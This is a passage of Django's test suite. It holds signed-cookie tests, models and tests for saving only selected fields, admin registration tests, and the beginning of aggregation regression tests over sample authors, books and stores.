        response.set_signed_cookie('c', 'hello')
        request = HttpRequest()
        request.COOKIES['c'] = response.cookies['c'].value[:-2] + '$$'
        with self.assertRaises(signing.BadSignature):
            request.get_signed_cookie('c')

    def test_default_argument_suppresses_exceptions(self):
        response = HttpResponse()
        response.set_signed_cookie('c', 'hello')
        request = HttpRequest()
        request.COOKIES['c'] = response.cookies['c'].value[:-2] + '$$'
        self.assertIsNone(request.get_signed_cookie('c', default=None))

    def test_max_age_argument(self):
        value = 'hello'
        with freeze_time(123456789):
            response = HttpResponse()
            response.set_signed_cookie('c', value)
            request = HttpRequest()
            request.COOKIES['c'] = response.cookies['c'].value
            self.assertEqual(request.get_signed_cookie('c'), value)

        with freeze_time(123456800):
            self.assertEqual(request.get_signed_cookie('c', max_age=12), value)
            self.assertEqual(request.get_signed_cookie('c', max_age=11), value)
            with self.assertRaises(signing.SignatureExpired):
                request.get_signed_cookie('c', max_age=10)

    @override_settings(SECRET_KEY=b'\xe7')
    def test_signed_cookies_with_binary_key(self):
        response = HttpResponse()
        response.set_signed_cookie('c', 'hello')

        request = HttpRequest()
        request.COOKIES['c'] = response.cookies['c'].value
        self.assertEqual(request.get_signed_cookie('c'), 'hello')







from django.db import models
from django.utils.encoding import python_2_unicode_compatible

GENDER_CHOICES = (
    ('M', 'Male'),
    ('F', 'Female'),
)


class Account(models.Model):
    num = models.IntegerField()


@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=20)
    gender = models.CharField(max_length=1, choices=GENDER_CHOICES)
    pid = models.IntegerField(null=True, default=None)

    def __str__(self):
        return self.name


class Employee(Person):
    employee_num = models.IntegerField(default=0)
    profile = models.ForeignKey('Profile', models.SET_NULL, related_name='profiles', null=True)
    accounts = models.ManyToManyField('Account', related_name='employees', blank=True)


@python_2_unicode_compatible
class Profile(models.Model):
    name = models.CharField(max_length=200)
    salary = models.FloatField(default=1000.0)

    def __str__(self):
        return self.name


class ProxyEmployee(Employee):
    class Meta:
        proxy = True












from __future__ import unicode_literals

from django.db.models.signals import post_save, pre_save
from django.test import TestCase

from .models import Account, Employee, Person, Profile, ProxyEmployee


class UpdateOnlyFieldsTests(TestCase):
    def test_update_fields_basic(self):
        s = Person.objects.create(name='Sara', gender='F')
        self.assertEqual(s.gender, 'F')

        s.gender = 'M'
        s.name = 'Ian'
        s.save(update_fields=['name'])

        s = Person.objects.get(pk=s.pk)
        self.assertEqual(s.gender, 'F')
        self.assertEqual(s.name, 'Ian')

    def test_update_fields_deferred(self):
        s = Person.objects.create(name='Sara', gender='F', pid=22)
        self.assertEqual(s.gender, 'F')

        s1 = Person.objects.defer("gender", "pid").get(pk=s.pk)
        s1.name = "Emily"
        s1.gender = "M"

        with self.assertNumQueries(1):
            s1.save()

        s2 = Person.objects.get(pk=s1.pk)
        self.assertEqual(s2.name, "Emily")
        self.assertEqual(s2.gender, "M")

    def test_update_fields_only_1(self):
        s = Person.objects.create(name='Sara', gender='F')
        self.assertEqual(s.gender, 'F')

        s1 = Person.objects.only('name').get(pk=s.pk)
        s1.name = "Emily"
        s1.gender = "M"

        with self.assertNumQueries(1):
            s1.save()

        s2 = Person.objects.get(pk=s1.pk)
        self.assertEqual(s2.name, "Emily")
        self.assertEqual(s2.gender, "M")

    def test_update_fields_only_2(self):
        s = Person.objects.create(name='Sara', gender='F', pid=22)
        self.assertEqual(s.gender, 'F')

        s1 = Person.objects.only('name').get(pk=s.pk)
        s1.name = "Emily"
        s1.gender = "M"

        with self.assertNumQueries(2):
            s1.save(update_fields=['pid'])

        s2 = Person.objects.get(pk=s1.pk)
        self.assertEqual(s2.name, "Sara")
        self.assertEqual(s2.gender, "F")

    def test_update_fields_only_repeated(self):
        s = Person.objects.create(name='Sara', gender='F')
        self.assertEqual(s.gender, 'F')

        s1 = Person.objects.only('name').get(pk=s.pk)
        s1.gender = 'M'
        with self.assertNumQueries(1):
            s1.save()
        # Test that the deferred class does not remember that gender was
        # set, instead the instance should remember this.
        s1 = Person.objects.only('name').get(pk=s.pk)
        with self.assertNumQueries(1):
            s1.save()

    def test_update_fields_inheritance_defer(self):
        profile_boss = Profile.objects.create(name='Boss', salary=3000)
        e1 = Employee.objects.create(name='Sara', gender='F', employee_num=1, profile=profile_boss)
        e1 = Employee.objects.only('name').get(pk=e1.pk)
        e1.name = 'Linda'
        with self.assertNumQueries(1):
            e1.save()
        self.assertEqual(Employee.objects.get(pk=e1.pk).name, 'Linda')

    def test_update_fields_fk_defer(self):
        profile_boss = Profile.objects.create(name='Boss', salary=3000)
        profile_receptionist = Profile.objects.create(name='Receptionist', salary=1000)
        e1 = Employee.objects.create(name='Sara', gender='F', employee_num=1, profile=profile_boss)
        e1 = Employee.objects.only('profile').get(pk=e1.pk)
        e1.profile = profile_receptionist
        with self.assertNumQueries(1):
            e1.save()
        self.assertEqual(Employee.objects.get(pk=e1.pk).profile, profile_receptionist)
        e1.profile_id = profile_boss.pk
        with self.assertNumQueries(1):
            e1.save()
        self.assertEqual(Employee.objects.get(pk=e1.pk).profile, profile_boss)

    def test_select_related_only_interaction(self):
        profile_boss = Profile.objects.create(name='Boss', salary=3000)
        e1 = Employee.objects.create(name='Sara', gender='F', employee_num=1, profile=profile_boss)
        e1 = Employee.objects.only('profile__salary').select_related('profile').get(pk=e1.pk)
        profile_boss.name = 'Clerk'
        profile_boss.salary = 1000
        profile_boss.save()
        # The loaded salary of 3000 gets saved, the name of 'Clerk' isn't
        # overwritten.
        with self.assertNumQueries(1):
            e1.profile.save()
        reloaded_profile = Profile.objects.get(pk=profile_boss.pk)
        self.assertEqual(reloaded_profile.name, profile_boss.name)
        self.assertEqual(reloaded_profile.salary, 3000)

    def test_update_fields_m2m(self):
        profile_boss = Profile.objects.create(name='Boss', salary=3000)
        e1 = Employee.objects.create(name='Sara', gender='F', employee_num=1, profile=profile_boss)
        a1 = Account.objects.create(num=1)
        a2 = Account.objects.create(num=2)
        e1.accounts.set([a1, a2])

        with self.assertRaises(ValueError):
            e1.save(update_fields=['accounts'])

    def test_update_fields_inheritance(self):
        profile_boss = Profile.objects.create(name='Boss', salary=3000)
        profile_receptionist = Profile.objects.create(name='Receptionist', salary=1000)
        e1 = Employee.objects.create(name='Sara', gender='F', employee_num=1, profile=profile_boss)

        e1.name = 'Ian'
        e1.gender = 'M'
        e1.save(update_fields=['name'])

        e2 = Employee.objects.get(pk=e1.pk)
        self.assertEqual(e2.name, 'Ian')
        self.assertEqual(e2.gender, 'F')
        self.assertEqual(e2.profile, profile_boss)

        e2.profile = profile_receptionist
        e2.name = 'Sara'
        e2.save(update_fields=['profile'])

        e3 = Employee.objects.get(pk=e1.pk)
        self.assertEqual(e3.name, 'Ian')
        self.assertEqual(e3.profile, profile_receptionist)

        with self.assertNumQueries(1):
            e3.profile = profile_boss
            e3.save(update_fields=['profile_id'])

        e4 = Employee.objects.get(pk=e3.pk)
        self.assertEqual(e4.profile, profile_boss)
        self.assertEqual(e4.profile_id, profile_boss.pk)

    def test_update_fields_inheritance_with_proxy_model(self):
        profile_boss = Profile.objects.create(name='Boss', salary=3000)
        profile_receptionist = Profile.objects.create(name='Receptionist', salary=1000)
        e1 = ProxyEmployee.objects.create(name='Sara', gender='F', employee_num=1, profile=profile_boss)

        e1.name = 'Ian'
        e1.gender = 'M'
        e1.save(update_fields=['name'])

        e2 = ProxyEmployee.objects.get(pk=e1.pk)
        self.assertEqual(e2.name, 'Ian')
        self.assertEqual(e2.gender, 'F')
        self.assertEqual(e2.profile, profile_boss)

        e2.profile = profile_receptionist
        e2.name = 'Sara'
        e2.save(update_fields=['profile'])

        e3 = ProxyEmployee.objects.get(pk=e1.pk)
        self.assertEqual(e3.name, 'Ian')
        self.assertEqual(e3.profile, profile_receptionist)

    def test_update_fields_signals(self):
        p = Person.objects.create(name='Sara', gender='F')
        pre_save_data = []

        def pre_save_receiver(**kwargs):
            pre_save_data.append(kwargs['update_fields'])
        pre_save.connect(pre_save_receiver)
        post_save_data = []

        def post_save_receiver(**kwargs):
            post_save_data.append(kwargs['update_fields'])
        post_save.connect(post_save_receiver)
        p.save(update_fields=['name'])
        self.assertEqual(len(pre_save_data), 1)
        self.assertEqual(len(pre_save_data[0]), 1)
        self.assertIn('name', pre_save_data[0])
        self.assertEqual(len(post_save_data), 1)
        self.assertEqual(len(post_save_data[0]), 1)
        self.assertIn('name', post_save_data[0])

        pre_save.disconnect(pre_save_receiver)
        post_save.disconnect(post_save_receiver)

    def test_update_fields_incorrect_params(self):
        s = Person.objects.create(name='Sara', gender='F')

        with self.assertRaises(ValueError):
            s.save(update_fields=['first_name'])

        with self.assertRaises(ValueError):
            s.save(update_fields="name")

    def test_empty_update_fields(self):
        s = Person.objects.create(name='Sara', gender='F')
        pre_save_data = []

        def pre_save_receiver(**kwargs):
            pre_save_data.append(kwargs['update_fields'])
        pre_save.connect(pre_save_receiver)
        post_save_data = []

        def post_save_receiver(**kwargs):
            post_save_data.append(kwargs['update_fields'])
        post_save.connect(post_save_receiver)
        # Save is skipped.
        with self.assertNumQueries(0):
            s.save(update_fields=[])
        # Signals were skipped, too...
        self.assertEqual(len(pre_save_data), 0)
        self.assertEqual(len(post_save_data), 0)

        pre_save.disconnect(pre_save_receiver)
        post_save.disconnect(post_save_receiver)

    def test_num_queries_inheritance(self):
        s = Employee.objects.create(name='Sara', gender='F')
        s.employee_num = 1
        s.name = 'Emily'
        with self.assertNumQueries(1):
            s.save(update_fields=['employee_num'])
        s = Employee.objects.get(pk=s.pk)
        self.assertEqual(s.employee_num, 1)
        self.assertEqual(s.name, 'Sara')
        s.employee_num = 2
        s.name = 'Emily'
        with self.assertNumQueries(1):
            s.save(update_fields=['name'])
        s = Employee.objects.get(pk=s.pk)
        self.assertEqual(s.name, 'Emily')
        self.assertEqual(s.employee_num, 1)
        # A little sanity check that we actually did updates...
        self.assertEqual(Employee.objects.count(), 1)
        self.assertEqual(Person.objects.count(), 1)
        with self.assertNumQueries(2):
            s.save(update_fields=['name', 'employee_num'])






"""
Tests for various ways of registering models with the admin site.
"""

from django.db import models


class Person(models.Model):
    name = models.CharField(max_length=200)


class Traveler(Person):
    pass


class Location(models.Model):
    class Meta:
        abstract = True


class Place(Location):
    name = models.CharField(max_length=200)












from __future__ import unicode_literals

from django.contrib import admin
from django.contrib.admin.decorators import register
from django.contrib.admin.sites import site
from django.core.exceptions import ImproperlyConfigured
from django.test import SimpleTestCase

from .models import Location, Person, Place, Traveler


class NameAdmin(admin.ModelAdmin):
    list_display = ['name']
    save_on_top = True


class CustomSite(admin.AdminSite):
    pass


class TestRegistration(SimpleTestCase):
    def setUp(self):
        self.site = admin.AdminSite()

    def test_bare_registration(self):
        self.site.register(Person)
        self.assertIsInstance(self.site._registry[Person], admin.ModelAdmin)

    def test_registration_with_model_admin(self):
        self.site.register(Person, NameAdmin)
        self.assertIsInstance(self.site._registry[Person], NameAdmin)

    def test_prevent_double_registration(self):
        self.site.register(Person)
        with self.assertRaises(admin.sites.AlreadyRegistered):
            self.site.register(Person)

    def test_registration_with_star_star_options(self):
        self.site.register(Person, search_fields=['name'])
        self.assertEqual(self.site._registry[Person].search_fields, ['name'])

    def test_star_star_overrides(self):
        self.site.register(Person, NameAdmin, search_fields=["name"], list_display=['__str__'])
        self.assertEqual(self.site._registry[Person].search_fields, ['name'])
        self.assertEqual(self.site._registry[Person].list_display, ['__str__'])
        self.assertTrue(self.site._registry[Person].save_on_top)

    def test_iterable_registration(self):
        self.site.register([Person, Place], search_fields=['name'])
        self.assertIsInstance(self.site._registry[Person], admin.ModelAdmin)
        self.assertEqual(self.site._registry[Person].search_fields, ['name'])
        self.assertIsInstance(self.site._registry[Place], admin.ModelAdmin)
        self.assertEqual(self.site._registry[Place].search_fields, ['name'])

    def test_abstract_model(self):
        """
        Exception is raised when trying to register an abstract model.
        Refs #12004.
        """
        with self.assertRaises(ImproperlyConfigured):
            self.site.register(Location)

    def test_is_registered_model(self):
        "Checks for registered models should return true."
        self.site.register(Person)
        self.assertTrue(self.site.is_registered(Person))

    def test_is_registered_not_registered_model(self):
        "Checks for unregistered models should return false."
        self.assertFalse(self.site.is_registered(Person))


class TestRegistrationDecorator(SimpleTestCase):
    """
    Tests the register decorator in admin.decorators

    For clarity:

        @register(Person)
        class AuthorAdmin(ModelAdmin):
            pass

    is functionally equal to (the way it is written in these tests):

        AuthorAdmin = register(Person)(AuthorAdmin)
    """
    def setUp(self):
        self.default_site = site
        self.custom_site = CustomSite()

    def test_basic_registration(self):
        register(Person)(NameAdmin)
        self.assertIsInstance(self.default_site._registry[Person], admin.ModelAdmin)
        self.default_site.unregister(Person)

    def test_custom_site_registration(self):
        register(Person, site=self.custom_site)(NameAdmin)
        self.assertIsInstance(self.custom_site._registry[Person], admin.ModelAdmin)

    def test_multiple_registration(self):
        register(Traveler, Place)(NameAdmin)
        self.assertIsInstance(self.default_site._registry[Traveler], admin.ModelAdmin)
        self.default_site.unregister(Traveler)
        self.assertIsInstance(self.default_site._registry[Place], admin.ModelAdmin)
        self.default_site.unregister(Place)

    def test_wrapped_class_not_a_model_admin(self):
        with self.assertRaisesMessage(ValueError, 'Wrapped class must subclass ModelAdmin.'):
            register(Person)(CustomSite)

    def test_custom_site_not_an_admin_site(self):
        with self.assertRaisesMessage(ValueError, 'site must subclass AdminSite'):
            register(Person, site=Traveler)(NameAdmin)

    def test_empty_models_list_registration_fails(self):
        with self.assertRaisesMessage(ValueError, 'At least one model must be passed to register.'):
            register()(NameAdmin)






# -*- coding: utf-8 -*-
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)
    age = models.IntegerField()
    friends = models.ManyToManyField('self', blank=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Publisher(models.Model):
    name = models.CharField(max_length=255)
    num_awards = models.IntegerField()

    def __str__(self):
        return self.name


class ItemTag(models.Model):
    tag = models.CharField(max_length=100)
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')


@python_2_unicode_compatible
class Book(models.Model):
    isbn = models.CharField(max_length=9)
    name = models.CharField(max_length=255)
    pages = models.IntegerField()
    rating = models.FloatField()
    price = models.DecimalField(decimal_places=2, max_digits=6)
    authors = models.ManyToManyField(Author)
    contact = models.ForeignKey(Author, models.CASCADE, related_name='book_contact_set')
    publisher = models.ForeignKey(Publisher, models.CASCADE)
    pubdate = models.DateField()
    tags = GenericRelation(ItemTag)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Store(models.Model):
    name = models.CharField(max_length=255)
    books = models.ManyToManyField(Book)
    original_opening = models.DateTimeField()
    friday_night_closing = models.TimeField()

    def __str__(self):
        return self.name


class Entries(models.Model):
    EntryID = models.AutoField(primary_key=True, db_column='Entry ID')
    Entry = models.CharField(unique=True, max_length=50)
    Exclude = models.BooleanField(default=False)


class Clues(models.Model):
    ID = models.AutoField(primary_key=True)
    EntryID = models.ForeignKey(Entries, models.CASCADE, verbose_name='Entry', db_column='Entry ID')
    Clue = models.CharField(max_length=150)


class WithManualPK(models.Model):
    # The generic relations regression test needs two different model
    # classes with the same PK value, and there are some (external)
    # DB backends that don't work nicely when assigning integer to AutoField
    # column (MSSQL at least).
    id = models.IntegerField(primary_key=True)


@python_2_unicode_compatible
class HardbackBook(Book):
    weight = models.FloatField()

    def __str__(self):
        return "%s (hardback): %s" % (self.name, self.weight)


# Models for ticket #21150
class Alfa(models.Model):
    name = models.CharField(max_length=10, null=True)


class Bravo(models.Model):
    pass


class Charlie(models.Model):
    alfa = models.ForeignKey(Alfa, models.SET_NULL, null=True)
    bravo = models.ForeignKey(Bravo, models.SET_NULL, null=True)


class SelfRefFK(models.Model):
    name = models.CharField(max_length=50)
    parent = models.ForeignKey('self', models.SET_NULL, null=True, blank=True, related_name='children')












from __future__ import unicode_literals

import datetime
import pickle
from decimal import Decimal
from operator import attrgetter

from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import FieldError
from django.db import connection
from django.db.models import (
    Avg, Count, F, Max, Q, StdDev, Sum, Value, Variance,
)
from django.test import TestCase, skipUnlessAnyDBFeature, skipUnlessDBFeature
from django.test.utils import Approximate
from django.utils import six

from .models import (
    Alfa, Author, Book, Bravo, Charlie, Clues, Entries, HardbackBook, ItemTag,
    Publisher, SelfRefFK, Store, WithManualPK,
)


class AggregationTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.a1 = Author.objects.create(name='Adrian Holovaty', age=34)
        cls.a2 = Author.objects.create(name='Jacob Kaplan-Moss', age=35)
        cls.a3 = Author.objects.create(name='Brad Dayley', age=45)
        cls.a4 = Author.objects.create(name='James Bennett', age=29)
        cls.a5 = Author.objects.create(name='Jeffrey Forcier', age=37)
        cls.a6 = Author.objects.create(name='Paul Bissex', age=29)
        cls.a7 = Author.objects.create(name='Wesley J. Chun', age=25)
        cls.a8 = Author.objects.create(name='Peter Norvig', age=57)
        cls.a9 = Author.objects.create(name='Stuart Russell', age=46)
        cls.a1.friends.add(cls.a2, cls.a4)
        cls.a2.friends.add(cls.a1, cls.a7)
        cls.a4.friends.add(cls.a1)
        cls.a5.friends.add(cls.a6, cls.a7)
        cls.a6.friends.add(cls.a5, cls.a7)
        cls.a7.friends.add(cls.a2, cls.a5, cls.a6)
        cls.a8.friends.add(cls.a9)
        cls.a9.friends.add(cls.a8)

        cls.p1 = Publisher.objects.create(name='Apress', num_awards=3)
        cls.p2 = Publisher.objects.create(name='Sams', num_awards=1)
        cls.p3 = Publisher.objects.create(name='Prentice Hall', num_awards=7)
        cls.p4 = Publisher.objects.create(name='Morgan Kaufmann', num_awards=9)
        cls.p5 = Publisher.objects.create(name="Jonno's House of Books", num_awards=0)

        cls.b1 = Book.objects.create(
            isbn='159059725', name='The Definitive Guide to Django: Web Development Done Right',
            pages=447, rating=4.5, price=Decimal('30.00'), contact=cls.a1, publisher=cls.p1,
            pubdate=datetime.date(2007, 12, 6)
        )
        cls.b2 = Book.objects.create(
            isbn='067232959', name='Sams Teach Yourself Django in 24 Hours',
            pages=528, rating=3.0, price=Decimal('23.09'), contact=cls.a3, publisher=cls.p2,
            pubdate=datetime.date(2008, 3, 3)
        )
        cls.b3 = Book.objects.create(
            isbn='159059996', name='Practical Django Projects',
            pages=300, rating=4.0, price=Decimal('29.69'), contact=cls.a4, publisher=cls.p1,
            pubdate=datetime.date(2008, 6, 23)
        )
        cls.b4 = Book.objects.create(
            isbn='013235613', name='Python Web Development with Django',
            pages=350, rating=4.0, price=Decimal('29.69'), contact=cls.a5, publisher=cls.p3,
            pubdate=datetime.date(2008, 11, 3)
        )
        cls.b5 = HardbackBook.objects.create(
            isbn='013790395', name='Artificial Intelligence: A Modern Approach',
            pages=1132, rating=4.0, price=Decimal('82.80'), contact=cls.a8, publisher=cls.p3,
            pubdate=datetime.date(1995, 1, 15), weight=4.5)
        cls.b6 = HardbackBook.objects.create(
            isbn='155860191', name='Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp',
            pages=946, rating=5.0, price=Decimal('75.00'), contact=cls.a8, publisher=cls.p4,
            pubdate=datetime.date(1991, 10, 15), weight=3.7)
        cls.b1.authors.add(cls.a1, cls.a2)
        cls.b2.authors.add(cls.a3)
        cls.b3.authors.add(cls.a4)
        cls.b4.authors.add(cls.a5, cls.a6, cls.a7)
        cls.b5.authors.add(cls.a8, cls.a9)
        cls.b6.authors.add(cls.a8)

        s1 = Store.objects.create(
            name='Amazon.com',
            original_opening=datetime.datetime(1994, 4, 23, 9, 17, 42),
            friday_night_closing=datetime.time(23, 59, 59)
        )
        s2 = Store.objects.create(
            name='Books.com',
            original_opening=datetime.datetime(2001, 3, 15, 11, 23, 37),
            friday_night_closing=datetime.time(23, 59, 59)
        )
        s3 = Store.objects.create(
            name="Mamma and Pappa's Books",
            original_opening=datetime.datetime(1945, 4, 25, 16, 24, 14),
            friday_night_closing=datetime.time(21, 30)
        )
        s1.books.add(cls.b1, cls.b2, cls.b3, cls.b4, cls.b5, cls.b6)
        s2.books.add(cls.b1, cls.b3, cls.b5, cls.b6)
        s3.books.add(cls.b3, cls.b4, cls.b6)

    def assertObjectAttrs(self, obj, **kwargs):
        for attr, value in six.iteritems(kwargs):
            self.assertEqual(getattr(obj, attr), value)

    def test_aggregates_in_where_clause(self):
        """
        Regression test for #12822: DatabaseError: aggregates not allowed in
        WHERE clause

        Tests that the subselect works and returns results equivalent to a
        query with the IDs listed.

        Before the corresponding fix for this bug, this test passed in 1.1 and
        failed in 1.2-beta (trunk).
        """
        qs = Book.objects.values('contact').annotate(Max('id'))
        qs = qs.order_by('contact').values_list('id__max', flat=True)
        # don't do anything with the queryset (qs) before including it as a
        # subquery
        books = Book.objects.order_by('id')
        qs1 = books.filter(id__in=qs)
        qs2 = books.filter(id__in=list(qs))
        self.assertEqual(list(qs1), list(qs2))

    def test_aggregates_in_where_clause_pre_eval(self):
        """
        Regression test for #12822: DatabaseError: aggregates not allowed in
        WHERE clause

        Same as the above test, but evaluates the queryset for the subquery
        before it's used as a subquery.

        Before the corresponding fix for this bug, this test failed in both
        1.1 and 1.2-beta (trunk).
        """
        qs = Book.objects.values('contact').annotate(Max('id'))
        qs = qs.order_by('contact').values_list('id__max', flat=True)
        # force the queryset (qs) for the subquery to be evaluated in its
        # current state
        list(qs)
        books = Book.objects.order_by('id')
        qs1 = books.filter(id__in=qs)
        qs2 = books.filter(id__in=list(qs))
        self.assertEqual(list(qs1), list(qs2))

    @skipUnlessDBFeature('supports_subqueries_in_group_by')
    def test_annotate_with_extra(self):
        """
        Regression test for #11916: Extra params + aggregation creates
        incorrect SQL.
        """
        # Oracle doesn't support subqueries in group by clause
        shortest_book_sql = """
        SELECT name
        FROM aggregation_regress_book b
        WHERE b.publisher_id = aggregation_regress_publisher.id
        ORDER BY b.pages
        LIMIT 1
        """
        # tests that this query does not raise a DatabaseError due to the full
        # subselect being (erroneously) added to the GROUP BY parameters
        qs = Publisher.objects.extra(select={
            'name_of_shortest_book': shortest_book_sql,
        }).annotate(total_books=Count('book'))
        # force execution of the query
        list(qs)

    def test_aggregate(self):
        # Ordering requests are ignored
        self.assertEqual(
            Author.objects.order_by("name").aggregate(Avg("age")),
            {"age__avg": Approximate(37.444, places=1)}
        )

        # Implicit ordering is also ignored
        self.assertEqual(
            Book.objects.aggregate(Sum("pages")),
            {"pages__sum": 3703},
        )

        # Baseline results
        self.assertEqual(
            Book.objects.aggregate(Sum('pages'), Avg('pages')),
            {'pages__sum': 3703, 'pages__avg': Approximate(617.166, places=2)}
        )

        # Empty values query doesn't affect grouping or results
        self.assertEqual(
            Book.objects.values().aggregate(Sum('pages'), Avg('pages')),
            {'pages__sum': 3703, 'pages__avg': Approximate(617.166, places=2)}
        )

        # Aggregate overrides extra selected column
        self.assertEqual(
            Book.objects.extra(select={'price_per_page': 'price / pages'}).aggregate(Sum('pages')),
            {'pages__sum': 3703}
        )

    def test_annotation(self):
        # Annotations get combined with extra select clauses
        obj = Book.objects.annotate(mean_auth_age=Avg("authors__age")).extra(
            select={"manufacture_cost": "price * .5"}).get(pk=self.b2.pk)
        self.assertObjectAttrs(
            obj,
            contact_id=self.a3.id,
            isbn='067232959',
            mean_auth_age=45.0,
            name='Sams Teach Yourself Django in 24 Hours',
            pages=528,
            price=Decimal("23.09"),
            pubdate=datetime.date(2008, 3, 3),
            publisher_id=self.p2.id,
            rating=3.0
        )
        # Different DB backends return different types for the extra select computation
        self.assertIn(obj.manufacture_cost, (11.545, Decimal('11.545')))

        # Order of the annotate/extra in the query doesn't matter
        obj = Book.objects.extra(select={'manufacture_cost': 'price * .5'}).annotate(
            mean_auth_age=Avg('authors__age')).get(pk=self.b2.pk)
        self.assertObjectAttrs(
            obj,
            contact_id=self.a3.id,
            isbn='067232959',
            mean_auth_age=45.0,
            name='Sams Teach Yourself Django in 24 Hours',
            pages=528,
            price=Decimal("23.09"),
            pubdate=datetime.date(2008, 3, 3),
            publisher_id=self.p2.id,
            rating=3.0
        )
        # Different DB backends return different types for the extra select computation
        self.assertIn(obj.manufacture_cost, (11.545, Decimal('11.545')))

        # Values queries can be combined with annotate and extra
        obj = Book.objects.annotate(mean_auth_age=Avg('authors__age')).extra(
            select={'manufacture_cost': 'price * .5'}).values().get(pk=self.b2.pk)
        manufacture_cost = obj['manufacture_cost']
        self.assertIn(manufacture_cost, (11.545, Decimal('11.545')))
        del obj['manufacture_cost']
        self.assertEqual(obj, {
            'id': self.b2.id,
            'contact_id': self.a3.id,
            'isbn': '067232959',
            'mean_auth_age': 45.0,
            'name': 'Sams Teach Yourself Django in 24 Hours',
            'pages': 528,
            'price': Decimal('23.09'),
            'pubdate': datetime.date(2008, 3, 3),
            'publisher_id': self.p2.id,
            'rating': 3.0,
        })

        # The order of the (empty) values, annotate and extra clauses doesn't
        # matter
        obj = Book.objects.values().annotate(mean_auth_age=Avg('authors__age')).extra(
            select={'manufacture_cost': 'price * .5'}).get(pk=self.b2.pk)
        manufacture_cost = obj['manufacture_cost']
        self.assertIn(manufacture_cost, (11.545, Decimal('11.545')))
        del obj['manufacture_cost']
        self.assertEqual(obj, {
            'id': self.b2.id,
            'contact_id': self.a3.id,
            'isbn': '067232959',
            'mean_auth_age': 45.0,
            'name': 'Sams Teach Yourself Django in 24 Hours',
            'pages': 528,
            'price': Decimal('23.09'),
            'pubdate': datetime.date(2008, 3, 3),
            'publisher_id': self.p2.id,
            'rating': 3.0
        })

        # If the annotation precedes the values clause, it won't be included
        # unless it is explicitly named
        obj = Book.objects.annotate(mean_auth_age=Avg('authors__age')).extra(
            select={'price_per_page': 'price / pages'}).values('name').get(pk=self.b1.pk)
        self.assertEqual(obj, {
            "name": 'The Definitive Guide to Django: Web Development Done Right',
        })

        obj = Book.objects.annotate(mean_auth_age=Avg('authors__age')).extra(
            select={'price_per_page': 'price / pages'}).values('name', 'mean_auth_age').get(pk=self.b1.pk)
        self.assertEqual(obj, {
            'mean_auth_age': 34.5,
            'name': 'The Definitive Guide to Django: Web Development Done Right',
        })

        # If an annotation isn't included in the values, it can still be used
        # in a filter
        qs = Book.objects.annotate(n_authors=Count('authors')).values('name').filter(n_authors__gt=2)
        self.assertQuerysetEqual(
            qs, [
                {"name": 'Python Web Development with Django'}
            ],
            lambda b: b,
        )

        # The annotations are added to values output if values() precedes
        # annotate()
        obj = Book.objects.values('name').annotate(mean_auth_age=Avg('authors__age')).extra(
            select={'price_per_page': 'price / pages'}).get(pk=self.b1.pk)
        self.assertEqual(obj, {
            'mean_auth_age': 34.5,
            'name': 'The Definitive Guide to Django: Web Development Done Right',
        })

        # Check that all of the objects are getting counted (allow_nulls) and
        # that values respects the amount of objects
        self.assertEqual(
            len(Author.objects.annotate(Avg('friends__age')).values()),
            9
        )

        # Check that consecutive calls to annotate accumulate in the query
        qs = (
            Book.objects
            .values('price')
            .annotate(oldest=Max('authors__age'))
            .order_by('oldest', 'price')
            .annotate(Max('publisher__num_awards'))
        )
        self.assertQuerysetEqual(
            qs, [
                {'price': Decimal("30"), 'oldest': 35, 'publisher__num_awards__max': 3},
                {'price': Decimal("29.69"), 'oldest': 37, 'publisher__num_awards__max': 7},
                {'price': Decimal("23.09"), 'oldest': 45, 'publisher__num_awards__max': 1},
                {'price': Decimal("75"), 'oldest': 57, 'publisher__num_awards__max': 9},
                {'price': Decimal("82.8"), 'oldest': 57, 'publisher__num_awards__max': 7}
            ],
            lambda b: b,
        )

    def test_aggrate_annotation(self):
        # Aggregates can be composed over annotations.
        # The return type is derived from the composed aggregate
        vals = (
            Book.objects
            .all()
            .annotate(num_authors=Count('authors__id'))
            .aggregate(Max('pages'), Max('price'), Sum('num_authors'), Avg('num_authors'))
        )
        self.assertEqual(vals, {
            'num_authors__sum': 10,
            'num_authors__avg': Approximate(1.666, places=2),
            'pages__max': 1132,
            'price__max': Decimal("82.80")
        })

        # Regression for #15624 - Missing SELECT columns when using values, annotate
        # and aggregate in a single query
        self.assertEqual(
            Book.objects.annotate(c=Count('authors')).values('c').aggregate(Max('c')),
            {'c__max': 3}
        )

    def test_decimal_aggregate_annotation_filter(self):
        """
        Filtering on an aggregate annotation with Decimal values should work.
        Requires special handling on SQLite (#18247).
        """
        self.assertEqual(
            len(Author.objects.annotate(sum=Sum('book_contact_set__price')).filter(sum__gt=Decimal(40))),
            1
        )
        self.assertEqual(
            len(Author.objects.annotate(sum=Sum('book_contact_set__price')).filter(sum__lte=Decimal(40))),
            4
        )

    def test_field_error(self):
        # Bad field requests in aggregates are caught and reported
        with self.assertRaises(FieldError):
            Book.objects.all().aggregate(num_authors=Count('foo'))

        with self.assertRaises(FieldError):
            Book.objects.all().annotate(num_authors=Count('foo'))

        with self.assertRaises(FieldError):
            Book.objects.all().annotate(num_authors=Count('authors__id')).aggregate(Max('foo'))

    def test_more(self):
        # Old-style count aggregations can be mixed with new-style
        self.assertEqual(
            Book.objects.annotate(num_authors=Count('authors')).count(),
            6
        )

        # Non-ordinal, non-computed Aggregates over annotations correctly
        # inherit the annotation's internal type if the annotation is ordinal
        # or computed
        vals = Book.objects.annotate(num_authors=Count('authors')).aggregate(Max('num_authors'))
        self.assertEqual(
            vals,
            {'num_authors__max': 3}
        )

        vals = Publisher.objects.annotate(avg_price=Avg('book__price')).aggregate(Max('avg_price'))
        self.assertEqual(
            vals,
            {'avg_price__max': 75.0}
        )

        # Aliases are quoted to protected aliases that might be reserved names
        vals = Book.objects.aggregate(number=Max('pages'), select=Max('pages'))
        self.assertEqual(
            vals,
